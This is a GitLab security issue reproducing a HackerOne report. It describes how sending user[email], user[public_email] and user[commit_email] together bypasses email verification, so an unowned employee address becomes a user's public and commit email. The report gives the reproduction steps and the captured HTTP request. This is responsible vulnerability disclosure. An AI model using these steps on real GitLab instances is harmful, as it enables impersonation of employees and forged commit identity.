Employee impersonation by bypassing public and commit email verification
# :warning: Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror. **[HackerOne report #1881598](https://hackerone.com/reports/1881598)** by `theluci` on 2023-02-21, assigned to @fvpotvin: [Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce) ## Report Hello, While testing I found that the bug https://gitlab.com/gitlab-org/gitlab/-/issues/219745 that gitlab fixed two years ago has reopened. #### Summary Gitlab doesn't check the reliability of the user[public_email] and the user[commit_email] parameters. In the backend, it just checks if those fields are matched with the user[email] but doesn't check if the email address has been verified. So by changing the user[email], user[public_email] and user[commit_email] at the same time, the server will change the user public email and commit email to become the same email as the currently-changed email address in the request (which hasn't been verified yet). #### Steps to reproduce 1. Create a Gitlab account with your email address. For example, theluci+test2@wearehackerone.com in my case. 2. Go to /profile/emails 3. Add an email address that you do not own. For example, theluci@gitlab.com 4. Visit /profile 5. Change your primary email address to theluci@gitlab.com, click Save and capture the request, it will look like this: ```json POST /-/profile HTTP/2 Host: gitlab.com Content-Type: multipart/form-data; boundary=---------------------------45235675323735184942831572911 Cookie: COOKIES -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="_method" put -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="authenticity_token" VfTHsNArSelTU0RuPQ34ZHS2x6/w2sY59WMD1SCz/Un9PUpBuiW0RZE6nAGkthZN2NKlEFz28GWSlxcQaSHI6Q== -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[avatar]-trigger"; filename="" Content-Type: application/octet-stream -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[status][emoji]" -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[status][message]" -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[status][availability]" not_set -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[timezone]" Etc/UTC -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[name]" lucifer-attacker -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[id]" 8552782 -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[pronouns]" -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[pronunciation]" -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[email]" theluci@gitlab.com -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[public_email]" -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[commit_email]" -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[skype]" ``` 6. Change user[email], user[public_email], user[commit_email] in above http request to become the same: ```json ... -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[email]" theluci@gitlab.com -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[public_email]" theluci@gitlab.com -----------------------------45235675323735184942831572911 Content-Disposition: form-data; name="user[commit_email]" theluci@gitlab.com ... ``` 7. Forward the request. 8. Now re-visit /profile/emails and you will see theluci@gitlab.com has become your public email address and your commit email address. ![public_and_commit.png](https://h1.sec.gitlab.net/a/8d3d892d-0667-48f4-a533-ea9354139aed/public_and_commit.png) #### Impact Impersonate as company employee with the public email address. Perform Gitlab git-related actions with the "verified" arbitrary email address and bypass the committing restriction. #### Examples My profile: [@]LuciferHackerone2 #### What is the current *bug* behavior? The public and commit email addresses have a bad confirmation in the backend. It just checks if the email addresses are the same as the current email address. And when you send a request which also changes your current email address, the server will change your current email address first then perform change the user[commit_email] and user[public_email] after, which the user was able to bypass the check. #### What is the expected *correct* behavior? Commit and public email should be checked with verified email addresses, not only email addresses. #### Output of checks This bug happens on GitLab.com #### Impact Impersonate as company employee with the public email address. Perform Gitlab git-related actions with the "verified" arbitrary email address and bypass the committing restriction. ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [public_and_commit.png](https://h1.sec.gitlab.net/a/8d3d892d-0667-48f4-a533-ea9354139aed/public_and_commit.png) ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue